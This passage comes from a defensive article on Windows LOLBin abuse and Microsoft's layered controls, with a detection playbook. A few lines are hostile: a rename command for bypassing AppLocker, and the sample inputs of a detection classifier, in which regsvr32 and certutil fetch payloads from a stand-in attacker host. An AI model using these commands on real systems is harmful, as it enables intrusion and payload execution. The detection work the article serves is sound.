Microsoft.Workflow.Compiler.exe, also known as wfc.exe, is the canonical worst case. The binary is part of .NET Workflow Foundation. It accepts a pair of file arguments -- an input file (any extension; LOLBAS lists XOML as the canonical form) containing a CompilerInput XML element with the attacker's C# or VB.NET source, and a log-file output path. The compiler compiles the embedded source and executes it in-process [@lolbas-mwc]. LOLBAS tracks it under T1127 (Trusted Developer Utilities Proxy Execution) [@attack-t1127], alongside msbuild.exe, dnx.exe, and rcsi.exe. Matt Graeber's August 17, 2018 disclosure [@lolbas-mwc] demonstrated end-to-end unsigned-C# execution via a single command line. It is on the App Control Recommended Block Rules list [@ms-bypass-rules]. Microsoft cannot remove the binary from Windows without breaking Workflow Foundation, but it can pin it as denied-by-default and direct developers who need it to allow-list it explicitly.

The abuse chain in which `Microsoft.Workflow.Compiler.exe` (a .NET Workflow Foundation utility, also distributed as `wfc.exe`) is invoked with an attacker-supplied input file -- any extension, canonical form XOML -- that contains a `CompilerInput` XML element holding C# or VB.NET source, plus a log-file output path. The compiler compiles the embedded source and executes the resulting assembly in-process. Disclosed by Matt Graeber on August 17, 2018 [@lolbas-mwc]. Now denied by default in Microsoft's App Control Recommended Block Rules [@ms-bypass-rules].

Notice the pattern across the eight: each binary is either on the Recommended Block Rules or it isn't, and the binaries that are not on the list are the ones administrators cannot live without. The deny list, in other words, is bounded: not by Microsoft's diligence, but by what Windows administration requires. How bounded? That is Section 6.

6. The Defensive Patchwork: Four Generations of Response

If you tried to fix Squiblydoo in 2016, the only primitive available was a per-binary AppLocker Deny rule. You wrote a rule that named regsvr32.exe, you deployed it via Group Policy, and you watched an attacker bypass it by copying the binary to a writable directory and renaming it. Microsoft's response over the following eight years can be told as four generations of control. Each one closes a specific bypass class in the previous. None touches the defining property of the class itself.

Generation 0: Software Restriction Policies (2001-2009)

Before AppLocker there was Software Restriction Policies (SRP), introduced with Windows XP and Windows Server 2003. SRP supported hash and path rules but had no first-class publisher rule. The policy language could not express trust anything signed by Microsoft. At enterprise scale, SRP was unmaintainable. AppLocker explicitly superseded it; Microsoft now directs new deployments to AppLocker and App Control for Business rather than SRP [@ms-applocker-overview]. Generation 0 failed not because it was bypassed but because it was undeployable.

Generation 1: AppLocker with the default Microsoft publisher rule (2009-2017)

AppLocker, as Section 3 described, made application allow-listing deployable by introducing the publisher rule and pre-populating the default rule set to admit Microsoft-signed binaries [@ms-applocker-overview]. Squiblydoo (April 19, 2016) was the existence proof that the default rule was simultaneously necessary for deployment and insufficient for security. The standard mitigation in this era -- write a per-binary AppLocker Deny rule for regsvr32.exe, mshta.exe, and friends -- ran into a concrete worked counterexample:

The AppLocker rename bypass is as simple as copy %WINDIR%\System32\regsvr32.exe %TEMP%\sysadmin-helper.exe. The copied file retains its Authenticode signature (which signs the file bytes, not the filename). The default Microsoft-publisher allow rule admits the renamed copy. A Deny rule keyed to the original path or name silently fails. This is the bypass that motivated WDAC's move to kernel-mode signature evaluation and hash-revocation rules.

A Deny rule keyed by path or filename loses to file copy. A Deny rule keyed by file hash loses the day Microsoft ships a new build on Patch Tuesday. AppLocker's policy language could express either constraint but not both at once. Neither held up against a determined attacker.

Generation 2: App Control for Business with Recommended Block Rules (2017-present)

Generation 2 is what most enterprises deploy today. Windows Defender Application Control (WDAC) shipped with Windows 10 1709 in October 2017, evolved out of Device Guard's Code Integrity Policies, and was rebranded App Control for Business in the 2023-2024 documentation cycle [@ms-appcontrol-overview]. The system enforces signature-and-policy evaluation in kernel mode. The rename bypass that defeated AppLocker stops at the kernel boundary, because the kernel evaluates the file's signature and hash independently of its path.

The Microsoft kernel-mode application-control system formerly known as Windows Defender Application Control (WDAC). Ships with Windows 10 1709 and later. Policies are signed XML files that admit or deny binaries by signer, hash, file attribute, or path; the policy engine is enforced by the kernel's Code Integrity subsystem [@ms-appcontrol-overview]. The successor to AppLocker for managed enterprise deployments. A Microsoft-curated, version-pinned XML deny list shipped via Microsoft Learn that App Control administrators merge into their base policy. As of 2026 the list denies roughly 40 binaries -- including `mshta.exe`, `Microsoft.Workflow.Compiler.exe`, conditionally `msbuild.exe`, and the older `system.management.automation.dll` versions that allowed PowerShell Constrained Language Mode bypass [@ms-bypass-rules]. The deny list grows as new bypasses are disclosed; addition lag is months to years.

Generation 2 closed the per-name rename bypass and gave Microsoft a publication surface for revoking individual LOLBins. The deny list itself acknowledges the version-pinning problem in a dated breadcrumb on the Microsoft Learn page: as of October 2017, system.management.automation.dll is updated to revoke earlier versions by hash values, instead of version rules [@ms-bypass-rules]. Revocation is applied case-by-case, not globally. What Generation 2 did not close was the catalog-vs-deny-list coverage gap (see Section 8 for the side-by-side count). The Recommended Block Rules name roughly 40 binaries; the LOLBAS catalog enumerates 207. The residual is unaddressed by default.

Generation 3: Smart App Control (2022-present)

Smart App Control (SAC) is Microsoft's reputation-and-AI gate for unmanaged consumer and small-business endpoints. It ships with clean installations of Windows 11 22H2 and later. It runs in an evaluation mode that silently observes the user's behavior and either transitions to enforce mode or silently disables itself depending on whether the observed activity is consistent with a managed-enough device [@ms-sac-overview]. The disable was originally one-way; the Definition below covers the recently-added in-place re-enable path [@ms-sac-support].

A Windows 11 22H2+ reputation-based application-gating feature that admits or blocks applications by Microsoft cloud lookup, with an AI classifier as a fallback. SAC ships in evaluation mode on clean installs only; it either transitions to enforcement or silently disables itself based on observed device usage [@ms-sac-overview]. Until recently a disabled SAC could only be revived by reinstalling Windows; a recent Windows cumulative update added an in-place re-enable path inside the Windows Security app [@ms-sac-support]. The silent disable itself remains.

The Aha moment for SAC arrives when a defender reads the Microsoft Learn SAC overview carefully:

Note that some older Microsoft binaries are considered unsafe because attackers can potentially use them to gain unauthorized access. For a complete list of these files, please see Application Control for Windows. -- Microsoft Learn, Smart App Control overview [@ms-sac-overview]

That sentence resolves the most common misconception about SAC. Smart App Control does not introduce a new LOLBin-handling mechanism. It defers LOLBin handling to the App Control Recommended Block Rules deny list. SAC inherits the same 167-binary coverage gap Generation 2 has. The reputation-and-AI gate is a useful addition for unknown third-party software; for Microsoft-signed LOLBins it is the deny list with a different user interface.

Generation 3's other documented failure mode is silent disable. A device that was protected becomes unprotected with no admin signal. In August 2024, Elastic Security Labs published the Dismantling Smart App Control analysis [@elastic-sac], which enumerated five distinct bypass classes: signed malware via EV certificates (SolarMarker burned through more than 100 unique certs), reputation hijacking via FFI-capable script hosts (Lua, Node.js, AutoHotkey), reputation seeding within roughly two hours, reputation tampering, and the LNK-stomping smuggling technique tracked as CVE-2024-38217 [@bleeping-lnk]. The LNK-stomping samples in VirusTotal date back six years.

Generation 4: Windows Resiliency Initiative (November 2024)

On November 19, 2024, at Microsoft Ignite, the company announced the Windows Resiliency Initiative (WRI). It is an umbrella program, not a new enforcement mechanism, with four focus areas. The third is stronger controls for what apps and drivers are allowed to run [@ms-wri-nov2024]. The June 2025 follow-up post adds the Microsoft Virus Initiative 3.0 (MVI 3.0) and the user-mode security agents work that moves third-party EDR drivers out of the kernel [@ms-wri-jun2025]. As of May 2026, WRI has not shipped a qualitatively new LOLBin-class enforcement primitive. It is a re-framing of the controls that already existed.

flowchart LR G0["Gen 0: SRP
2001-2009"] --"closes 'no scalable publisher rule'"--> G1["Gen 1: AppLocker
default publisher rule
2009-2017"] G1 --"closes 'per-admin deny rules don't scale, rename bypass'"--> G2["Gen 2: App Control + Recommended Block Rules
2017-present"] G2 --"closes 'no default-on for unmanaged endpoints'"--> G3["Gen 3: Smart App Control
2022-present"] G3 --"institutional re-framing"--> G4["Gen 4: Windows Resiliency Initiative
2024-present"] G4 -. unresolved .-> Class["The LOLBin class itself"] style Class stroke:#c33,stroke-width:2px style G4 stroke:#888,stroke-dasharray: 5 5

The summary table for the generational story:

Generation	Years	Closed	Did not close
0: SRP	2001-2009	--	Undeployable at enterprise scale
1: AppLocker	2009-2017	Allow-list scale problem	Squiblydoo, rename bypass, Authenticode blindness
2: App Control + Block Rules	2017-present	Rename bypass, per-name deny	167-binary coverage gap
3: Smart App Control	2022-present	No default-on for consumers	Silent disable, defers LOLBins to Gen 2
4: WRI	2024-present	-- (institutional framing)	No new LOLBin enforcement primitive

Note: Each generation adds a layer; no generation removes a class. Four bypass classes have been closed in chronological order, but the 167-binary residual between the LOLBAS catalog and the Recommended Block Rules deny list has not narrowed. The class is what survives the chain.

Four generations, each adding a layer. None removing the class. The next question follows: what does the 2026 state of the art look like, taken as a whole?

7. The 2026 State of the Art Is a Stack of Eight

A 2026 Windows shop does not pick one of these layers. It stacks all eight. The state of the art for LOLBin defense is the bundle, not a single technique, and the bundle's coverage is the union of what each layer sees.

The eight layers, in roughly the order a defender would deploy them:

App Control for Business with Recommended Block Rules -- the enterprise control plane. Kernel-mode signature evaluation, signed XML policies, and Microsoft's curated deny list merged into the base policy [@ms-bypass-rules]. This is the only layer that enforces by default-deny at the loader.
Smart App Control -- the consumer reputation gate. Reputation lookups against a Microsoft cloud service, AI classification as the fallback, evaluation-then-enforce lifecycle [@ms-sac-overview]. Defers LOLBins to the App Control deny list.
Attack Surface Reduction (ASR) rules -- Defender for Endpoint's behavioral choke points. Most LOLBin-relevant rules shipped with Windows 10 1709 in October 2017 [@ms-asr-rules-ref]: Block all Office applications from creating child processes, Block executable content from email client and webmail, Block JavaScript or VBScript from launching downloaded executable content, Block use of copied or impersonated system tools. Block process creations originating from PSExec and WMI commands arrived later in Windows 10 1803.
Behavioral EDR with Sysmon parent-child detection -- the telemetry layer that catches what the enforcement layers miss. SwiftOnSecurity's sysmon-config repository [@swiftonsec], the more modular olafhartong/sysmon-modular configuration [@olafhartong], and vendor-curated analytics like Splunk Research's rule 25689101-012a-324a-94d3-08301e6c065a for renamed-LOLBin detection [@splunk-detection].
AMSI with PowerShell Constrained Language Mode -- in-process script-content inspection.AMSI is the only Microsoft-shipped mechanism that lets antimalware inspect script bodies after macro expansion and before eval, which is the moment the script has been decoded but not yet executed [@ms-amsi-portal]. That moment is the single richest detection signal in the script-host attack surface. The answer Microsoft shipped specifically for PowerShell, JScript, VBScript, and the script hosts Microsoft directly controls.
The LOLBAS catalog itself -- a defensive data structure. Detection engineers parse it to generate rules; SIEM vendors ingest it as detection content; the MITRE ATT&CK pages cite individual entries as primary references [@attack-t1218].
ML-driven LOTL classification -- the research frontier. Ryan Stamp's 2022 NLP-over-command-line approach [@arxiv-stamp] and the 2024 work by Trizna and collaborators reporting a 90 percent detection improvement at a false-positive rate of $10^{-5}$ on enterprise-scale LOTL command-line evaluation, with reverse shells as the headline sub-class [@arxiv-trizna] [@hf-quasarnix].
Microsoft Vulnerable Driver Blocklist and LOLDrivers -- the kernel-driver analogue. Microsoft's blocklist is enabled by default with HVCI, Smart App Control, or S mode active [@ms-driver-blocklist]; the community-maintained LOLDrivers project at loldrivers.io is the sibling catalog [@loldrivers].

The Antimalware Scan Interface, introduced with Windows 10 1507. AMSI lets script hosts (PowerShell, JScript, VBScript, the `.NET` runtime) hand the script content they are about to evaluate to the registered antimalware product for inspection before execution. AMSI closes one of the few in-process content-inspection points Microsoft directly controls; it does not see scripts run through non-AMSI hosts (older COM scriptlets, Lua, Node.js, AutoHotkey FFI).

Each layer addresses a different point in the LOLBin life cycle. App Control and SAC enforce at load time, before the binary runs. ASR enforces at behavior time, blocking specific parent-child or write-then-exec patterns. EDR with Sysmon observes at runtime and reacts after the fact. AMSI inspects script content inside the running process. The catalog enumerates what to look for; ML models generalize beyond it. The driver layer covers a sibling class.

flowchart TD Endpoint["Windows endpoint"] Endpoint --> L1["1. App Control + Recommended Block Rules (kernel CI, default deny)"] Endpoint --> L2["2. Smart App Control (consumer reputation gate)"] Endpoint --> L3["3. ASR rules (behavioral choke points)"] Endpoint --> L4["4. EDR + Sysmon (telemetry and post-hoc detection)"] Endpoint --> L5["5. AMSI + PowerShell CLM (in-process script content)"] Endpoint --> L6["6. LOLBAS catalog (detection-engineering data structure)"] Endpoint --> L7["7. ML LOTL classification (research frontier)"] Endpoint --> L8["8. Driver blocklist + LOLDrivers (sibling class)"]

The head-to-head comparison matrix shows what each layer brings and where the residual risk lives:

Layer	Decision time	Coverage breadth	Marginal cost per new LOLBin	Failure mode if attacker succeeds
App Control + Block Rules	Load	~40 binaries	Microsoft must add it to the XML; months-to-years lag	Binary loads and runs
Smart App Control	Load	Reputation + AI gate; defers LOLBins to App Control	None (inherits App Control)	Reputation hijack succeeds; silent disable possible
ASR rules	Behavior	~8 LOLBin-relevant rules	Rule author must encode the new pattern	Pattern slips through; user-facing block toast missing
EDR + Sysmon	Runtime	Whole catalog if rules exist	Rule per binary, per variant	Detection fires after execution
AMSI + CLM	In-process	PowerShell and AMSI-instrumented hosts only	Free; instrumented automatically	Non-AMSI host (older COM scriptlet, Lua) bypasses
LOLBAS catalog	Reference	207 binaries	Community editorial cost	Out-of-catalog LOLBin missed
ML LOTL	Runtime	Generalizes beyond catalog	Retraining cost	False-positive flood; adversarial drift
Driver blocklist	Load (kernel)	Sibling class (drivers, not binaries)	Microsoft and community curation	Vulnerable driver loads pre-blocklist

powershell.exe is conspicuously absent from the App Control Recommended Block Rules deny list, even though it is the most-abused script host in the catalog. The reason is that Microsoft shipped a different answer for PowerShell specifically: Constrained Language Mode, AMSI script-content inspection, script-block logging (Event ID 4104), and module logging (Event ID 4103). For PowerShell the response is instrument deeply, do not deny; for the rest of the catalog the response is deny when feasible. There is no published Microsoft criterion explaining when each strategy applies.

Layer 6 -- the catalog as data structure -- is the layer most defenders underuse. The YAML is parsable, the function taxonomy is closed, the MITRE ATT&CK IDs are stable. A SOC can compile the catalog into a command-line classifier in a few dozen lines:

{` // A minimal classifier that takes a candidate Windows command line and // returns the LOLBAS function category it appears to match. Real SOC // content compiles the YAML at build time and emits a rule per entry.

const PATTERNS = [ { binary: 'regsvr32', re: /regsvr32(\.exe)?.+\/i:https?:/i, cat: 'Execute (AWL Bypass)' }, { binary: 'rundll32', re: /rundll32(\.exe)?\s+.+\.dll,/i, cat: 'Execute' }, { binary: 'mshta', re: /mshta(\.exe)?\s+(https?:|vbscript:|javascript:)/i, cat: 'Execute' }, { binary: 'certutil', re: /certutil(\.exe)?.+(-urlcache|-decode)/i, cat: 'Download / Decode' }, { binary: 'bitsadmin',re: /bitsadmin(\.exe)?.+\/transfer/i, cat: 'Download' }, { binary: 'msbuild', re: /msbuild(\.exe)?\s+.+\.csproj|\.xml/i, cat: 'Compile' }, { binary: 'installutil', re: /installutil(\.exe)?\s+\/u\s+/i, cat: 'Execute' }, { binary: 'wfc', re: /(microsoft\.workflow\.compiler|wfc)(\.exe)?/i, cat: 'Compile' } ];

function classify(cmd) { for (const p of PATTERNS) { if (p.re.test(cmd)) return { binary: p.binary, category: p.cat }; } return null; }

const samples = [ 'regsvr32 /s /n /u /i:http\u003a//attacker/x.sct scrobj.dll', 'certutil -urlcache -split -f http\u003a//attacker/x.exe c:\\users\\x.exe', 'msbuild.exe project.csproj /t:Build', 'wfc.exe rules.xoml config.txt' ]; for (const s of samples) console.log(s, '->', classify(s)); `}

Eight layers, none of which covers all 207 catalog entries. Why is the coverage gap so persistent? The next section compares the three competing taxonomies that have spent the last decade enumerating the class and shows what they agree on and where they diverge.

8. Three Taxonomies, Three Counts

Three groups have spent the last decade enumerating the LOLBin class from three different angles, and they disagree on the count. The disagreement is informative.

LOLBAS is the community-curated, behaviorally annotated, MITRE-mapped, full binary enumeration. The count as of May 2026 is 207 binaries plus 27 libraries and scripts, totaling 234 entries [@lolbas-github]. Every entry has a YAML file, a function category, an ATT&CK technique ID, a primary-source acknowledgement, and detection guidance. The catalog is exhaustive by design: the editorial criteria admit any Microsoft-signed binary with unexpected attacker-useful functionality.

MITRE ATT&CK organizes the same behaviors as techniques rather than binaries. The relevant nodes are T1218 (System Binary Proxy Execution, with sub-techniques for Regsvr32, Rundll32, Mshta, InstallUtil, and others) [@attack-t1218]; T1216 (System Script Proxy Execution) [@attack-t1216]; T1127 (Trusted Developer Utilities Proxy Execution) [@attack-t1127]; T1197 (BITS Jobs) [@attack-t1197]; T1140 (Deobfuscate/Decode Files or Information); and T1105 (Ingress Tool Transfer). The framework has fewer canonical entries than LOLBAS but richer threat-intelligence linkage: adversary groups, observed campaigns, and detection rules cluster around each technique. The MITRE pages cite LOLBAS as the primary source for binary-level abuse detail.

Microsoft's App Control Recommended Block Rules denies roughly 40 binaries [@ms-bypass-rules]. That is the intersection Microsoft will commit to denying by default in a fully-managed App Control policy. The list is version-pinned, signed, and shipped as XML for administrators to merge into their base policies. Entries include mshta.exe, Microsoft.Workflow.Compiler.exe, installutil.exe, conditionally msbuild.exe, and the older system.management.automation.dll versions that allowed Constrained Language Mode bypass.

Dimension	LOLBAS	MITRE ATT&CK	App Control Block Rules
What counts as an entry	Per-binary YAML file	Per-technique node	Per-binary deny rule
Count (May 2026)	234 (207 binaries + 27 libs/scripts)	~6 top-level techniques, ~12 LOLBin sub-techniques	~40 binaries
Update mechanism	GitHub pull request, community editorial board	MITRE editorial cycle (quarterly)	Microsoft Learn page revision
Enforcement?	None -- reference only	None -- reference and CTI	Yes -- kernel-mode App Control deny
Primary audience	Detection engineers, red teams	Threat intel analysts, CISO reporting	Enterprise App Control administrators

flowchart TB subgraph LOLBAS["LOLBAS: 207 binaries"] L1["~40 covered by Block Rules"] L2["~167 binaries not denied by default"] end subgraph MITRE["MITRE ATT&CK: ~12 LOLBin sub-techniques"] M1["Cites LOLBAS as primary source"] end subgraph Block["App Control Block Rules: ~40 binaries"] B1["Subset of LOLBAS"] end L1 -.- B1 L2 -. "the gap" .-> Gap["167-binary residual"] MITRE -.- LOLBAS

The discrepancy is the load-bearing observation of this article. 207 known versus ~40 denied. The 167-binary residual is the gap between what the community has proven possible and what Microsoft will deny by default. The residual is not a curation backlog. Microsoft maintains the deny list; researchers submit candidates; the criterion for inclusion is operational impact, not novelty. Binaries that would break Windows administration if denied are excluded by design. That is why regsvr32.exe, rundll32.exe, certutil.exe, and bitsadmin.exe are all in LOLBAS, all in MITRE ATT&CK, and none of them denied by default.

Jimmy Bayne -- one of the LOLBAS co-maintainers -- runs a parallel community list at bohops/UltimateWDACBypassList [@bohops-wdac] that explicitly tracks the superset of binaries that bypass WDAC, including entries that may not yet have made it into the main LOLBAS catalog. Oddvar Moe's pre-LOLBAS UltimateAppLockerByPassList [@api0cradle-applocker] performs the same role for AppLocker-era bypasses. Together, the two community lists are the closest available proxy for the real upper bound on LOLBin candidates.

Note: LOLBAS enumerates 207 Microsoft-signed binaries with attacker-useful primitives. The App Control Recommended Block Rules deny roughly 40 of them by default. The 167-binary residual is the central empirical finding of the LOLBin literature: the binaries Microsoft will not deny are the binaries Windows system administration depends on.

If the gap were random, Microsoft could close it over time. But it is not random. The binaries Microsoft will not deny are precisely the binaries Windows system administration depends on: the COM registration utility, the DLL loader, the certificate installer, the BITS download helper. The pattern is too clean to be accidental. That is not a coverage problem. That is an architectural problem. Section 9 explains why.

9. The Architectural Argument: Why LOLBins Cannot Be Eliminated

Here is the thesis. The LOLBin class is not a defect to be fixed. It is a property of a thirty-year-old design decision that the entire Windows administration model now depends on.

The argument has four steps, and each step is empirically grounded in something this article has already shown.

Step 1. Windows ships tens of thousands of Microsoft-signed binaries across SKUs. The default AppLocker rule template admits every executable under %windir% or %programfiles% via three path-based default rules (executables, scripts, and Windows Installer files) [@ms-applocker-default-rules], and the canonical managed deployment adds a publisher rule that trusts the Microsoft signer chain; the default App Control configuration trusts the same Microsoft signer certificate chain. The first two control planes treat the entire signed-Microsoft binary set as admissible.

Step 2. A LOLBin is any signed binary that exposes a "load and execute attacker-controlled payload" surface. That surface includes loading a script, loading a DLL, loading a XAML or XOML file, running an inline MSBuild task, running a COM scriptlet, running an HTA, running a WSH job, decoding Base64, fetching a URL into the BITS queue, or invoking a [RunInstaller(true)] class. Each primitive sits behind a documented switch or file format. None of them is a vulnerability in the buffer-overflow sense.

Step 3. Every one of those primitives is required by some legitimate administrative tooling. Microsoft cannot remove Microsoft.Workflow.Compiler.exe without breaking the .NET Workflow Foundation runtime that the binary services. It cannot remove msbuild.exe without breaking the developer toolchain. It cannot remove regsvr32.exe without breaking COM registration. It cannot remove bitsadmin.exe without breaking corporate update servers that depend on the BITS channel. It cannot remove certutil.exe without breaking certificate-installation workflows that ship in every Active Directory deployment guide.

Step 4. Therefore the only available options are (a) revoke individual binaries from the default trust path via the App Control Recommended Block Rules deny list; (b) layer behavioral blocks on top via ASR, SAC, EDR, and AMSI; or (c) rebuild the Windows system-administration model. Microsoft has chosen (a) plus (b). Option (c) is out of scope for backward-compatibility reasons.

flowchart TD Problem["Signed binary with load-and-execute primitive,
abused with attacker arguments"] Problem --> A["Option A: Revoke from default trust path"] Problem --> B["Option B: Layer behavioral blocks"] Problem --> C["Option C: Rebuild system-administration model"] A --> A1["App Control Recommended Block Rules (~40 binaries)"] A --> A2["Microsoft Recommended Driver Block Rules"] B --> B1["ASR, Smart App Control, EDR, AMSI, Constrained Language Mode"] C --> C1["Not shipping. Would break Windows administration."] style C stroke:#888,stroke-dasharray: 5 5 style C1 stroke:#888,stroke-dasharray: 5 5

The strongest evidence that Microsoft itself accepts this framing is the msbuild.exe deny-list entry quoted in Section 5 -- a context-dependent rule that denies msbuild.exe unless the endpoint is a developer reference system [@ms-bypass-rules]. That single Microsoft sentence is the architectural argument in one paragraph: Microsoft is admitting, in writing, that the deny list is not absolute. Whether msbuild.exe is a LOLBin depends on what the machine is used for. There is no possible universal deny rule for msbuild.exe because there is no universal answer to do you build .NET projects on this machine?. The deny list can only ever encode the policy for the use case the administrator has in mind.

Key idea: The LOLBin problem is not a defect to be fixed. It is a property of a thirty-year-old design decision that the entire Windows administration model now depends on.

A theoretically clean fix exists and is worth naming. It would attach a behavioral capability description to each Authenticode-signed binary at sign time -- something like this binary may load and execute COM scriptlets from URLs, or this binary may compile and run unsigned C# from disk. App Control policy would then enforce on the capability set rather than the publisher identity. A LOLBin would be any binary whose capability set, intersected with the administrator's policy, exceeded the policy's high-water mark.

A capability-extended Authenticode -- in which each signed binary's metadata declared the categories of behavior it could perform, and App Control policy could deny by capability rather than by name -- would close the structural gap. It is the design that flows directly from the analysis in Section 3. It is also not on Microsoft's public roadmap as of Ignite 2024. The reason is not technical. The reason is that every existing signed Microsoft binary would have to be re-signed, every existing third-party signed binary would have to be re-classified, and every administrator would have to learn a new policy vocabulary. The cost is paid by everyone at once; the benefit accrues to defenders only as adoption approaches one.

A further theoretical observation is worth recording. The decision problem behind LOLBin enforcement -- does this signed binary, invoked with these arguments, execute attacker-controlled code? -- is Rice-class undecidable in the limit. By Rice's theorem [@rice-1953], any non-trivial semantic property of arbitrary programs is undecidable, which means no static analysis can perfectly classify every possible invocation of every possible signed binary. In practice the problem is also backward-compatibility-bounded: even where decidable approximations exist, Microsoft cannot apply them to existing binaries without re-signing or breaking deployments.

The detection side has a measurable upper bound that the enforcement side does not. The Trizna 2024 result -- a 90 percent detection improvement at a false-positive rate of $10^{-5}$ on enterprise-scale LOTL command-line evaluation, with reverse shells as the headline sub-class [@arxiv-trizna] -- is the closest published quantitative result on what ML-driven command-line classification can achieve. There is no equivalent enforcement-side result. The asymmetry is not accidental: detection can be probabilistic, but enforcement at the loader must be deterministic.

If the class cannot be eliminated, the next honest question is: what cannot be fixed even in principle, and what work is still open? That is the next section.

10. Eight Open Problems in 2026

Eight problems remain genuinely open as of May 2026. None is fixable with the controls Microsoft currently ships, and each one has direct operational consequences a SOC must plan around.

Problem	Why it matters	What has been tried	Why it isn't fixed
Block-list latency	Disclosure-to-deny lag is months to years	Periodic Recommended Block Rules updates [@ms-bypass-rules]	Microsoft does not publish a SLA; no quantitative lag study exists
Version-pinned bypass via older signed copies	Attacker drops a 2017-vintage signed `wfc.exe` from an archive; deny list misses it	Hash-revocation rules per binary	Asymptotic completeness of the hash list is unattainable in practice
Smart App Control silent disable	A protected device becomes unprotected with no admin signal	Microsoft documents the behavior; in-place re-enable shipped via a recent Windows cumulative update [@ms-sac-support]	Silent disable itself remains by design
No capability-extended Authenticode	Publisher trust has no first-class representation of behavior	Discussed in academic and red-team writing; not on Microsoft roadmap	See Section 9: would require re-signing the world
AMSI gaps in non-AMSI script hosts	Native COM scriptlets, older .NET, Lua, Node.js, AutoHotkey FFI bypass AMSI	Microsoft instrumented PowerShell, JScript, VBScript	Third-party script hosts opt in or do not
Detection-engineering economics	Per-LOLBin rule authoring scales linearly with catalog growth	Community projects (SwiftOnSecurity, sysmon-modular), Splunk Research [@splunk-detection]	LOLBAS adds entries faster than rules can be generalized
Coverage gap LOLBAS vs MITRE vs Block Rules	No published mapping reconciles all three	Manual cross-references in vendor documentation	Each project has different editorial scope
The PowerShell special case	"Instrument deeply" for one host, "deny" for the others	AMSI + CLM + script-block logging	No published Microsoft criterion for when each applies

The empirical anchor for why this matters is published. In its Q3 2025 TTP Briefing, Cybereason reported the share of investigations involving LOLBins:

We observed living-off-the-land binaries (LOLBINs) usage in 17% of investigations in Q3, up from 13% in H1 2025. -- Cybereason TTP Briefing Q3 2025 [@cybereason-q3-2025]

A four-percentage-point quarter-over-quarter increase is not a noise-level move. It is the visible attacker-economics response to the SOTA: as enforcement layers improve at detecting unsigned third-party tooling, attackers shift further into the trust-by-signature space. The catalog grows because the incentive to find new LOLBins is growing.

Two of the eight problems deserve a closer look. Smart App Control's silent-disable behavior is the most under-documented operational failure mode in the entire 2026 SOTA. The documented disable trigger is, in paraphrase, that SAC turns off when Microsoft's cloud service cannot make a confident prediction about the user's typical app usage [@ms-sac-overview]. The user-facing consequence is the same regardless of the exact wording: a Windows 11 endpoint that booted protected by SAC silently transitions to a state in which SAC does nothing. A recent Windows cumulative update added an in-place re-enable path that improved on the original wipe-and-reinstall requirement (see the Callout below), but it does not surface a disable event to administrators.

Note: SAC disables itself silently when it cannot make a high-confidence safety prediction. The disabled state used to be one-way; a recent Windows cumulative update added a re-enable path that no longer needs a clean install [@ms-sac-support]. But the disable itself still surfaces no admin signal. Plan defenses as if SAC is best-effort, not load-bearing.

The other under-discussed problem is the PowerShell special case. PowerShell is the most-abused script host in Windows by a wide margin, and yet powershell.exe is not on the App Control deny list and never has been. The reason is that Microsoft shipped a different answer specifically for PowerShell: Constrained Language Mode, AMSI script-content inspection, script-block logging (Event ID 4104), module logging (Event ID 4103), and over-the-shoulder transcription [@ms-ps-logging]. The PowerShell answer is instrument deeply, do not deny. For the rest of the LOLBAS catalog the answer is deny when feasible, detect otherwise. No published Microsoft criterion explains which strategy applies to a given binary; the choice is made one binary at a time inside Microsoft's security engineering organization.

If the problems remain open, what can a practitioner actually do tomorrow? The playbook is the next section.

11. A 2026 LOLBin Defense Playbook

Even with the structural ceiling, a 2026 Windows shop can do a great deal. The playbook below is in rough order of operational priority: top items pay the biggest defensive dividend per hour of administrator time.

Deploy App Control for Business in enforce mode with the Recommended Block Rules merged into the base policy. This is the single highest-value step. Microsoft Learn publishes the deny-list XML and a step-by-step merge guide [@ms-bypass-rules]. For organizations that want a wider net than the official list, the bohops/UltimateWDACBypassList community superset [@bohops-wdac] is the standard reference.
Where Smart App Control is eligible, enable it on clean-installed Windows 11 22H2+ endpoints. Document the silent-disable failure mode in your incident runbook so an unexpectedly disabled SAC instance gets a ticket instead of being ignored. A recent Windows cumulative update added an in-place re-enable path inside the Windows Security app, so a disabled SAC is no longer a wipe-and-reinstall event (see Section 10) [@ms-sac-support].
Apply the LOLBin-relevant ASR rules in block mode [@ms-asr-rules-ref]: Block all Office applications from creating child processes (1709+), Block executable content from email client and webmail (1709+), Block JavaScript or VBScript from launching downloaded executable content (1709+), Block use of copied or impersonated system tools (1709+), and Block process creations originating from PSExec and WMI commands (1803+). Coverage on Windows 11 24H2 is uniform.
Deploy SwiftOnSecurity's sysmon-config as a baseline [@swiftonsec]; consider olafhartong/sysmon-modular [@olafhartong] for tiered configuration. Tune the per-LOLBin detection patterns documented on each LOLBAS entry's Detection field. The Splunk Research analytic 25689101-012a-324a-94d3-08301e6c065a for renamed-LOLBin moves is a good starting point for SIEM rule design [@splunk-detection].
Write detection content for the canonical eight. Parent-child plus argument patterns for regsvr32, mshta, certutil, rundll32, bitsadmin, msbuild, installutil, and Microsoft.Workflow.Compiler.exe cover the bulk of real-world incidents. The Atomic Red Team test corpus for T1218.010 [@atomic-t1218] supplies ready-to-run validation payloads. Run them in audit mode against your detection content before relying on it in production.
Enable PowerShell script-block logging (Event ID 4104) and module logging (Event ID 4103). Constrained Language Mode activates automatically when an App Control policy is in enforce on the script file's location, so step 1 also pays for the PowerShell hardening.
Subscribe to LOLBAS GitHub releases. New entries arrive every few weeks. Put the Recommended Block Rules page on the SOC's monthly review cadence so that a new XML version is integrated within one patch cycle.
Map your detections to MITRE ATT&CK technique IDs. T1218 and its sub-techniques (.004, .005, .010, .011), T1127.001, T1216, T1197, T1140, and T1105 are the LOLBin-relevant nodes. The mapping lets the SOC coverage matrix and the LOLBAS catalog stay aligned.
For the driver class, enable HVCI on supported hardware. The Microsoft Vulnerable Driver Blocklist is enabled by default whenever HVCI, Smart App Control, or S mode is active [@ms-driver-blocklist]. Cross-reference loldrivers.io [@loldrivers] for SIEM rule input.

Note: Microsoft's own guidance is to deploy every new App Control policy in audit mode for two to four weeks before flipping to enforce. The audit-mode telemetry surfaces business-critical workflows that depend on otherwise-deniable binaries (the msbuild.exe developer-workstation case is the canonical example). The Recommended Block Rules deployment is no exception [@ms-bypass-rules].

A 2026 SOC's top-of-funnel LOLBin detection combines the parent-child pattern with argument inspection from Section 1, generalized across the canonical eight:

{` // The minimal cross-binary detection logic a SOC writes for the canonical // eight LOLBins. Each rule is a parent-child pair plus an argument regex. // Production rules add tuning fields (user-context allow-lists, signing // chain checks, network destination reputation), but this is the spine.

